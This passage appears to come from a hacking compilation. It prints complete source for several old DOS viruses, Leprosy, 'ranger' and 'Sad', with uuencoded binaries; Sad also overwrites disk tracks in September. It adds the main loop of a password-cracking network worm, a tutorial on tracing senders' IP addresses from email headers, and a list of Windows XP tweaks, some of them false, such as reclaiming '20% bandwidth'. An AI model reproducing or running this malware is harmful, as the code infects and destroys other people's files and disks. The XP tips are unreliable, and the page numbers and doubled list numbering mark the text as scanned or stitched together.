; ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄč
131
begin 775 t-1000.com
MOA(!B_ZQ::PT`*K^R8#Y_W7UM$Y0M"S-(8@6"0&^$@&_A0&Y:0"L,@8)`:I)
M@_G_=?18,\FZ=0'-(7(GN`$]NIX`S2&+V+1`4+D2`+H``<TA6+EI`+J%`<TA
BM#[-(;1/4.NRM`FZ;@$.'\TAS2!4+3$P,#`D*BY#;VT`````
`
end
5) leprosy.c viruses
#pragma inline
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
#define NO_MATCH 0x12 /* No match in wildcard search. */
/* The following strings are not garbled; they are all encrypted */
/* using the simple technique of adding the integer value 10 to */
/* each character. They are automatically decrypted by */
/* 'print_s()', the function which sends the strings to 'stdout' */
/* using DOS service 09H. All are terminated with a dollar-sign */
/* "$" as per DOS service specifications. */
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|
\x7f}*sx\x80ox~on*l\x83.",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
};
132
struct _dta /* Disk Transfer Area format for find. */
{
char findnext[21];
char attribute;
int timestamp;
int datestamp;
long filesize;
char filename[13];
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
const int virus_size = 666; /* The size in bytes of the virus code. */
const int infection_rate = 4; /* How many files to infect per run. */
char compare_buf[20]; /* Load program here to test infection. */
int handle; /* The current file handle being used. */
int datestamp, timestamp; /* Store original date and time here. */
char diseased_count = 0; /* How many infected files found so far. */
char success = 0; /* How many infected this run. */
/* The following are function prototypes, in keeping with ANSI */
/* Standard C, for the support functions of this program. */
int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
133
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );
/*----------------------------------*/
/* M A I N P R O G R A M */
/*----------------------------------*/
int main( void ) {
int x = 0;
do {
if ( find_healthy() ) { /* Is there an un-infected file? */
infect(); /* Well, then infect it! */
x++; /* Add one to the counter. */
success++; /* Carve a notch in our belt. */
}
else { /* If there ain't a file here... */
_DX = (int) ".."; /* See if we can step back to */
_AH = 0x3b; /* the parent directory, and try */
asm int 21H; /* there. */
x++; /* Increment the counter anyway, to */
} /* avoid infinite loops. */
} while( x < infection_rate ); /* Do this until we've had enough. */
if ( success ) /* If we got something this time, */
print_s( fake_msg ); /* feed 'em the phony error line. */
else
if ( diseased_count > 6 ) /* If we found 6+ infected files */
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
print_s( virus_msg[x] );
else
print_s( fake_msg ); /* Otherwise, keep a low profile. */
return;
134
}
void infect( void ) {
_DX = (int) dta->filename; /* DX register points to filename. */
_CX = 0x00; /* No attribute flags are set. */
_AL = 0x01; /* Use Set Attribute sub-function. */
_AH = 0x43; /* Assure access to write file. */
asm int 21H; /* Call DOS interrupt. */
open_handle( dta->filename ); /* Re-open the healthy file. */
_BX = handle; /* BX register holds handle. */
_CX = virus_size; /* Number of bytes to write. */
_DX = (int) codestart; /* Write program code. */
_AH = 0x40; /* Set up and call DOS. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close file. */
return;
}
int find_healthy( void ) {
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
135
if ( healthy() )
return 1; /* If you find one, great! */
return 0; /* Otherwise, say so. */
}
int healthy( void ) {
int i;
datestamp = dta->datestamp; /* Save time & date for later. */
timestamp = dta->timestamp;
open_handle( dta->filename ); /* Open last file located. */
_BX = handle; /* BX holds current file handle. */
_CX = 20; /* We only want a few bytes. */
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
_AH = 0x3f; /* Read in file for comparison. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close the file. */
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
if ( compare_buf[i] != *(codestart+i) )
return 1; /* If no match, return healthy. */
diseased_count++; /* Chalk up one more fucked file. */
return 0; /* Otherwise, return infected. */
}
void restore_timestamp( void ) {
_AL = 0x01; /* Keep original date & time. */
_BX = handle; /* Same file handle. */
_CX = timestamp; /* Get time & date from DTA. */
_DX = datestamp;
_AH = 0x57; /* Do DOS service. */
asm int 21H;
136
return;
}
void print_s( char *s ) {
char *p = s;
while ( *p ) { /* Subtract 10 from every character. */
*p -= 10;
p++;
}
_DX = (int) s; /* Set DX to point to adjusted string. */
_AH = 0x09; /* Set DOS function number. */
asm int 21H; /* Call DOS interrupt. */
return;
}
int find_first( char *fn ) {
_DX = (int) fn; /* Point DX to the file name. */
_CX = 0xff; /* Search for all attributes. */
_AH = 0x4e; /* 'Find first' DOS service. */
asm int 21H; /* Go, DOS, go. */
return _AX; /* Return possible error code. */
}
int find_next( void ) {
_AH = 0x4f; /* 'Find next' function. */
asm int 21H; /* Call DOS. */
return _AX; /* Return any error code. */
}
void open_handle( char *fn ) {
137
_DX = (int) fn; /* Point DX to the filename. */
_AL = 0x02; /* Always open for both read & write. */
_AH = 0x3d; /* "Open handle" service. */
asm int 21H; /* Call DOS. */
handle = _AX; /* Assume handle returned OK. */
return;
}
void close_handle( void ) {
_BX = handle; /* Load BX register w/current file handle. */
_AH = 0x3e; /* Set up and call DOS service. */
asm int 21H;
return;
}
6) viruse200063
model tiny ; x*x*x*x*x*x*x
.code ; Virus code segment
org 100h ; COM file starting IP
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
decrypt_loop:
db 81h,35h ; xor word ptr [di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
138
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsw
movsb
mov byte ptr [bp+numinfec],1 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+com_mask]
139
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc done_infections ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,2000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
mov ah,3bh ; change directory
140
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
jmp activate ; Always activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
int 21h
retn ; 100h is on stack
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
activate: ; ******************************
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
jmp exit_virus
141
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
virusname db '[ranger]',0
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
142
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
143
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
144
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
begin 775 ranger.com
MZ0``N=<`OQ$!@34``$='XOCH``!=@>T4`8VVP`&_``%7I:3&AEL#`;0:C98P
M`\TAM$>R`(VV\`+-(<:&[P)<N"0US2&)GNL"C(;M`K0EC9:S`LTA#@>-EK8"
MM$ZY!P#-(7(_L`#H*`&T/XV67`.Y&@#-(;0^S2&+ADH#/=`'
M70.!P[\!.\-T`^M;D+1/Z\>T.XV6O`+-(7.TZQ^0N"0EQ9;K`LTA#A^T.XV6
M[P+-(;0:NH``S2'#S2``N`%#,\F-51[-(;@"/8U5'LTAD^O-6UI%0BA#*3$Y
M.3)=`%MR86YG97)=`+D#`"O!C;9<`XV^P`&EI,9$_>F)1/X%`P%043/)Z(P`
ML`+H?0"T0(V67`-9S2&X`D(SR9G-(;0LS2$+TG3XB98+`8V^OP*X55.KC;8#
145
M`;D.`%91\Z2-MJ0"N0\`\Z197EI75E'SI+A=6ZNPPZJ#P@Z)E@
M\Z2X`5>+CD8#BY9(`\TAM#[-(;4`BHY%`^@6`/Z.6P-U`^D5_^D$_[0]C99.
J`\TAD\.X`4.-EDX#S2'#6UVT0(V6`P&YO`'-(5-5L`//*BYC;VT`+BX`
`
end
8) Viruse:Don’t be sad
;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;
.model tiny
.code
org 100h ; origin for .com files
start:
nop ; these two nop instructs will be used by 'Nasty'
nop ; to determine if a file is already infected
;******
;get date
;******
mov ah,2ah ; get the date
int 21h ; do it
cmp dh,09h ; is it September?
jnz do_not_activate ; if NO jmp do_not_activate
;****
;the nasty bit
;****
146
;*
;* 1. Print message
;*
lea dx,mess ; print message
mov ah,09 ; 'Nasty in September'
int 21h ; do it
;****
;* 2. Destroy disk
;****
mov ah,19h ; get current drive (returned in al)
int 21h ; do it
mov dl,al ; dl = drive # to be formated
mov ah,05 ; disk format function
mov cl,01 ; first sector
mov ch,00 ; first track
mov dh,00 ; head zero
mov al,10h ; 10h (16) sectors - 2 tracks
int 13h ; do it (overwrite first 16 tracks on currently
; selected disc)
do_not_activate:
mov cx,80h ; save parameters; set counter to 80h bytes
mov si,0080h ; offset in the current data segment of the byte
; to be copied
mov di,0ff7fh ; offset to which byte is to be moved
rep movsb ; move bytes until cx=0 (decrement cx by 1 each time
; loop is performed is done automatically)
; (increment by 1 of si & di is done automatically)
lea ax,begp ; load exit from program offset address into ax
mov cx,ax ; " " " " " " " cx
sub ax,100h ; subtract start of .com file address (100h) from ax
; ax now contains the length of the virus
147
mov ds:[0fah],ax ; put length of the virus into the data segment at
; offset 0fah
add cx,fso ; add fso (5h) to cx (offset address of exit)
; so, cx=cx+5
mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at
; offset 0f8h. ** Start of the write buffer.
ADD CX,AX ; add virus length (ax) to cx ?????
mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h.
; ** Start of the read buffer
mov cx,ax ; mov length of virus into cx
lea si,start ; load address of 'start' (start of virus) into
; souce index
mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into
; destination index
rb: ; cx = counter (length of virus)
; si = offset of byte to be read
; di = offset of where to write byte to
; (auto decrement of cx & increment of si & di)
rep movsb ; copy the virus into memory
stc ; set the carry flag
lea dx,file_type_to_infect ; set infector for .com files only
mov ah,4eh ; find first file with specified params
mov cx,20h ; files with archive bit set
int 21h ; do it
; if file found, CF is cleared, else
; CF is set
or ax,ax ; works the below instructions (jz & jmp)
jz file_found ; if file found jmp file_found
148
jmp done ; if no file found, jmp done (exit virus)
file_found:
mov ah,2fh ; get dta (returned in es:bx)
int 21h ; do it
mov ax,es:[bx+1ah] ; mov size of file to be infected into ax
mov ds:[0fch],ax ; mov filesize into ds:[0fch]
add bx,1eh ; bx now points to asciz filename
mov ds:[0feh],bx ; mov filename into ds:[0feh]
clc ; clear carry flag
mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename)
mov dx,bx ; mov filename into dx
int 21h ; do it (ax contains file handle)
mov bx,ax ; mov file handle into bx
mov ax,5700h ; get time & date attribs from file to infect
int 21h ; do it (file handle in bx)
push cx ; save time to the stack
push dx ; save date to the stack
mov ah,3fh ; read from file to be infected
mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to
; be infected
mov dx,ds:[0f6h] ; buffer (where to read bytes to)
int 21h ; do it
mov bx,dx ; mov buffer location to bx
mov ax,[bx] ; mov contents of bx (first two bytes - as bx is
; 16-bits) into ax.
; Now check to see if file is infected... if the
149
; file is infected, it's first two bytes will be
; 9090h (nop nop)
sub ax,9090h ; If file is already infected, zero flag will be set
; thus jump to fin(ish)
jz fin
mov ax,ds:[0fch] ; mov filesize of file to be infected into ax
mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx
mov [bx-2],ax ; correct old len
mov ah,3ch ; Create file with handle
mov cx,00h ; cx=attribs -- set no attributes
mov dx,ds:[0feh] ; point to name
clc ; clear carry flag
int 21h ; create file
; Note: If filename already exists, (which it does)
; truncate the filelength to zero - this is ok as
; we have already copied the file to be infected
; into memory.
mov bx,ax ; mov file handle into bx
mov ah,40h ; write file with handle (write to the file to be
; infected) - length currently zero
; cx=number of bytes to write
mov cx,ds:[0fch] ; length of file to be infected
add cx,ds:[0fah] ; length of virus
mov DX,ds:[0f8h] ; location of write buffer (this contains the virus
; + the file to be infected)
int 21h ; write file
; new file = virus + file to be infected
150
mov ax,5701h ; restore original time & date values
pop dx ; get old date from the stack
pop cx ; get old time from the stack
int 21h ; do it
; Note: Infected file will now carry the time & date
; it had before the infection.
mov ah,3eh ; close file (bx=file handle)
int 21h ; do it
; Note: date & time stamps automatically updated if
; file written to.
fin:
stc ; set carry flags
mov ah,4fh ; find next file (.com)
int 21h ; do it
or ax,ax ; decides zero flag outcome
jnz done ; if no more .com files, jmp done
JMP file_found ; else begin re-infection process for new file.
done:
mov cx,80h ; set counter (cx) = 80h
mov si,0ff7fh ; source offset address (copy from here)
mov di,0080h ; destination offset address (copy to here)
rep movsb ; copy bytes! (cx is auto decremented by 1
; si & di are auto incremented by 1)
; Note: this is a 'restore parameters' feature
; this does the reverse of what what done earlier
; in the program (do_not_activate:)
mov ax,0a4f3h ;
mov ds:[0fff9h],ax ;
mov al,0eah ;
mov ds:[0fffbh],al ; reset data segment locations ??? (to previous
151
mov ax,100h ; values before virus infection)
mov ds:[0fffch],ax ;
lea si,begp ; load exit from program offset address into si
lea di,start ; load offset address of start of virus into di
mov ax,cs
mov ds:[0fffeh],ax ; re-align cs = ds ???
mov kk,ax
mov cx,fso
db 0eah ; define byte
dw 0fff9h ; define word
kk dw 0000h ; define kk = word
mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display
file_type_to_infect db '*?.com',0 ; infect only .com files.
fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes
; in size (a word)
; ----- alma mater
begp:
mov ax,4c00h ; normal dos termination (set al to 00)
int 21h ; do it
end start
begin 775 sad.com
MD)"T*LTA@/X)=1FZ#@*T"_@#XN`(]B]/-(8O8N`!7S2%1
M4K0_BP[\`(L6]@#-(8O:BP]@")1_ZT/+D``(L6_@#XS2&+
MV+1`BP[\``,.^@"+%O@`S2&X`5=:6<TAM#[-(?FT3\TA"\!U`NN*N8``OG__
MOX``\Z2X\Z2C^?^PZJ+[_[@``:/\_[XM`K\``8S(H_[_HPP"BPXK`NKY_P``
D4V%D('9I<G5S("T@,C0O."\Y,0T*)"H_+F-O;0`%`+@`3,TA
`
152
end
9) Worme viruses
666 The Dead Zone 214-522-5321 300/1200/2400 666
#include
#include
#include
#include
long current_time;
struct rlimit no_core = {0,0};
int
main (argc, argv)
int argc;
char *argv[];
{
153
int n;
int parent = 0;
int okay = 0;
/* change calling name to "sh" */
strcpy(argv[0], "sh");
/* prevent core files by setting limit to 0 */
setrlimit(RLIMIT_CORE, no_core);
current_time = time(0);
/* seed random number generator with time */
srand48(current_time);
n = 1;
while (argv[n]) {
/* save process id of parent */
if (!strncmp(argv[n], "-p", 2)) {
parent = atoi (argv[++n]);
n++;
}
154
else {
/* check for 1l.c in argument list */
if (!strncmp(argv([n], "1l.c", 4))
okay = 1;
/* load an object file into memory */
load_object (argv[n];
/* clean up by unlinking file */
if (parent)
unlink (argv[n]);
/* and removing object file name */
strcpy (argv[n++], "");
}
}
/* if 1l.c was not in argument list, quit */
if (!okay)
exit (0);
155
/* reset process group */
setpgrp (getpid());
/* kill parent shell if parent is set */
if (parent)
kill(parent, SIGHUP);
/* scan for network interfaces */
if_init();
/* collect list of gateways from netstat */
rt_init();
/* start main loop */
doit();
}
int
doit()
{
current_time = time (0);
156
/* seed random number generator (again) */
srand48(current_time);
/* attack gateways, local nets, remote nets */
attack_hosts();
/* check for a "listening" worm */
check_other ()
/* attempt to send byte to "ernie" */
send_message ()
for (;;) {
/* crack some passwords */
crack_some ();
/* sleep or listen for other worms */
other_sleep (30);
crack_some ();
/* switch process id's */
if (fork())
/* parent exits, new worm continues */
157
exit (0);
/* attack gateways, known hosts */
attack_hosts();
other_sleep(120);
/* if 12 hours have passed, reset hosts */
if(time (0) == current_time + (3600*12)) {
reset_hosts();
current_time = time(0); }
/* quit if pleasequit is set, and nextw>10 */
if (pleasequit && nextw > 10)
exit (0);
}
}
158
HOW TO TRACK **IP ADD***
How to find the IP address of the sender in Gmail, Yahoo! mail or Hotmail
When you receive an email, you receive more than just the message. The email comes with
headers that carry important
information that can tell where the email was sent from and possibly who sent it. For that, you
would need to find the IP
address of the sender. The tutorial below can help you find the IP address of the sender. Note
that this will not work if the
sender uses anonymous proxy servers.
Finding IP address in Gmail
1. Log into your Gmail account with your username and password.
2. Open the mail.
3. To display the headers,
* Click on More options corresponding to that thread. You should get a bunch of links.
* Click on Show original
4. You should get headers like this:
Gmail headers :x*x*x*x*x*x*x
Look for Received: from followed by a few hostnames and an IP address between square
brackets. In this case, it is
65.119.112.245.
That is be the IP address of the sender!
5. Track the IP address of the sender
Finding IP address in Yahoo! Mail
1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or whichever folder you have stored your mail.
3. Open the mail.
159
4. If you do not see the headers above the mail message, your headers are not displayed.To
display the headers,
* Click on Options on the top-right corner
* In the Mail Options page, click on General Preferences
* Scroll down to Messages where you have the Headers option
* Make sure that Show all headers on incoming messages is selected
* Click on the Save button
* Go back to the mails and open that mail
5. You should see similar headers like this:
Yahoo! headers : x*x*x*x*x*x*x
Look for Received: from followed by the IP address between square brackets [ ]. Here, it is
202.65.138.109.
That is be the IP address of the sender!
6. Track the IP address of the sender
Finding IP address in Hotmail
1. Log into your Hotmail account with your username and password.
2. Click on the Mail tab on the top.
3. Open the mail.
4.If you do not see the headers above the mail message, your headers are not displayed.To
display the headers,
* Click on Options on the top-right corner
* In the Mail Options page, click on Mail Display Settings
* In Message Headers, make sure Advanced option is checked
* Click on Ok button
* Go back to the mails and open that mail
5. If you find a header with X-Originating-IP: followed by an IP address, that is the sender's
IP address
Hotmail headers : X*x*x*x*x*x*x ,In this case the IP address of the sender is [68.34.60.59].
Jump to step 9.
6. If you find a header with Received: from followed by a Gmail proxy like this
Hotmail headers : X*x*x*x*x*x*x
Look for Received: from followed by IP address within square brackets[].
160
In this case, the IP address of the sender is [69.140.7.58]. Jump to step 9.
7. Or else if you have headers like this
Hotmail headers : X*x*x*x*x*x*x
Look for Received: from followed by IP address within square brackets[].In this case, the IP
address of the sender is [61.83.145.129] (Spam mail). Jump to step 9.
8. * If you have multiple Received: from headers, eliminate the ones that have
proxy.anyknownserver.com.
9. Track the IP address of the sender
Back
161
162
Hacking XP
Now let’s play with window XP
How to Find a Lost File in your computer?
To find this missing file first, select the 'Start' button (bottom left hand corner of your
screen) then select from the Start menu list that opens, 'Find' then 'Files or Folder'.
When the 'Find: All Files' dialog box opens you are ready to find that missing file. If
you did a simple search for all '.doc files' (being the Microsoft Word file suffix) you may
bring up hundreds of Microsoft Word files. To help you narrow your search, if you can
remember part of the file name eg; 'jim', when the full name maybe 'Jim Burns quote
2.5.02.doc' you will get fewer results.
To make a partial word search type in the 'Named' field the word followed by an *,
this is above the number 8, press 'shift key + 8' to replace missing word/s or letter/s eg;
'jim*.doc', then you will have fewer results. You can use * before or after the partial word/s or
letter/s.
By default your hard drive will be selected in the 'Look in' field. To start your search
press the 'Find Now' button and the results will be listed below.
To make your search quicker if you save all your files inside your 'My Documents'
folder select it in the 'Look in' field when you open the 'Find: All Files' dialog box. By
selecting the 'My Documents' folder your computer only searches it instead of your whole
hard drive
163
1)1) XP hides some system software you might want to remove, such as Windows
Messenger, but you can tickle it and make it disgorge everything. Using Notepad
or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and
remove it. You can then go to the Add or Remove Programs in the Control Panel,
select Add/Remove Windows Components and there will be your prey, exposed
and vulnerable.
2)2) Creating Shutdown Icon or One Click Shutdown:
3)3) Navigate to your desktop. On the desktop, right-click and go to New, then to
Shortcut (in other words, create a new shortcut). You should now see a pop-up
window instructing you to enter a command line path.
Use this path in "Type Location of the Item"
SHUTDOWN -s -t 01
4)4) If the C: drive is not your local hard drive, then replace "C" with the correct letter
of the hard drive. Click the "Next" button. Name the shortcut and click the
"Finish" button. Now whenever you want to shut down, just click on this shortcut
and you're done.
5)5) Increasing Band-Width By 20%:
6)6) Microsoft reserves 20% of your available bandwidth for their own purposes like
Windows Updates and interrogating your PC etc
To get it back: Click Start then Run and type "gpedit.msc" without quotes.This
opens the group policy editor. Then go to: Local Computer Policy then Computer
Configuration then Administrative Templates then Network then QOS Packet
Scheduler and then to Limit Reservable Bandwidth.
7)7) Making Folders Private:
Open My Computer Double-click the drive where Windows is installed (usually
drive (C:), unless you have more than one drive on your computer). If the contents of
the drive are hidden, under System Tasks, click Show the contents of this drive.
Double-click the Documents and Settings folder. Double-click your user folder.
Right-click any folder in your user profile, and then click Properties. On the Sharing
tab, select the Make this folder private so that only I have access to it check box.
8)8) To change Drive Letters:
Go to Start > Control Panel > Administrative Tools > Computer Management,
Disk Management, then right-click the partition whose name you want to change
164
(click in the white area just below the word "Volume") and select "change drive letter
and paths." From here you can add, remove or change drive letters and paths to the
partition.
9)9) Removing the Shortcut arrow from Desktop Icons:
Goto Start then Run and Enter regedit. Navigate to
HKEY_CLASSES_ROOTlnkfile. Delete the IsShortcut registry value. You may
need to restart Windows XP.
10)10) Get Drivers for your Devices:
Visit Windows Update (XP Only) Look at the left hand pane and under Other
Options click Personalize Windows Update.
Now in the right hand pane check the box - Display the link to the Windows Update
Catalog under See Also
Below Choose which categories and updates to display on Windows Update - make sure you
check all the boxes you want shown.
Click Save Settings
Now look in the left hand pane under See Also click Windows Update Catalog and choose
what you're looking for. Choose either MS updates or drivers for hardware devices.
Start the Wizard and off you go.
11)11) Customize Internet Explorer's Title Bar:
Open Registry by going to Start then Run and Enter regedit. Navigate to
HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right
hand panel look for string "Window Title" and change its value to whatever custom
text you want to see.
12)12) Disabling the use of Win Key:
If your are a gaming freak then you must be sick of the Win key in your keyboard. To
disable use of Win key, open registry by going to Start then Run and entering regedit.
Navigate to
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout] . In
this look for value of "Scancode Map". Its binary data so be extra careful:
Set its value to "00 00 00 00 00 00 00 00 03 00 00 00 00 00 5B E0 00 00 5C E0 00 00 00 00"
to disable the win key.
13)13) Restarting Windows without Restarting the Computer:
This one is again is. When you click on the SHUTDOWN button, make sure to
simultaneous press SHIFT Button. If you hold the Shift key down while clicking
165
on SHUTDOWN button, you computer would restart without restarting the
Computer. This is equivalent to term "HOT REBOOT".
14)14) Stopping XP from displaying unread messages count on Welcome Screen:
To stop XP from displaying count of unread messages, Open registry and
navigate to
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Unrea
dMail] and look for the data key "MessageExpiryDays". If you do not see this
key, create one DWORD key by the name "MessageExpiryDays". Setting its
value to 0 would stop Windows XP from displaying the count of unread
messages.
15)15) Adding Administrative Tools Icon To The Desktop:
Open Registry Editor. In Registry Editor, navigate to the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Expl
orer\Desktop\NameSpace . Create the following key: {D20EA4E1-3957-11d2-
A40B-0C5020524153} (just copy/paste, including the brackets). Close Registry
Editor. There is no need to reboot. Just wait a few seconds and see how the icon
appears.
16)16) Creating The Suspend Shortcut:
Right click on the Desktop .New / Shortcut. Enter in rundll32.exe PowrProf.dll,
SetSuspendState . Give it whatever name you want. Now when you click on that
shortcut, your computer will shutdown and suspend.
17)17) Disable XP Load Screen:
By disabling the load screen you can boost the boot up time by a couple of seconds,
if not more. To disable the load screen, open the “msconfig” utility: go to Start>Run,
type in “msconfig” without quotes and press Enter. In the subsequent window, select
the ‘boot.ini’ tab. Check the /NOGUIBOOT option and press ‘Apply’. Restart
Windows to see the effect.
18)18) To Remove Arrow Signs From Desktop Shortcuts:
Open registry editor by going to Start then Run and entering regedit. Once in
registry, navigate to key HKEY_CLASSES_ROOT\lnkfile\ and rename the string
value IsShortcut to AriochIsShortcut
19)19) Make Your Internet Explorer As Fast As FireFox:
Open registry editor by going to Start then Run and entering regedit. Once in
registry, navigate to key
166
HKEY_CURRENT_USER\Software\microsoft\Windows\CurrentVersion\InternetSet
tings. Right click @ windows right > New > DWORD. type
MaxConnectionsPerServer > You can set value (the more higher the no, the more
good speed u get, e;g : 99). Create another DWORD >type
MaxConnectionsPer1_0Server. Then put a high value as mentioned above. Restart
I.E and you are done.
20)20) Disable Disk Performance Counters
Win XP comes with many inbuilt performance monitoring applications that
constantly examine various parts of the system. This information can be of real use to
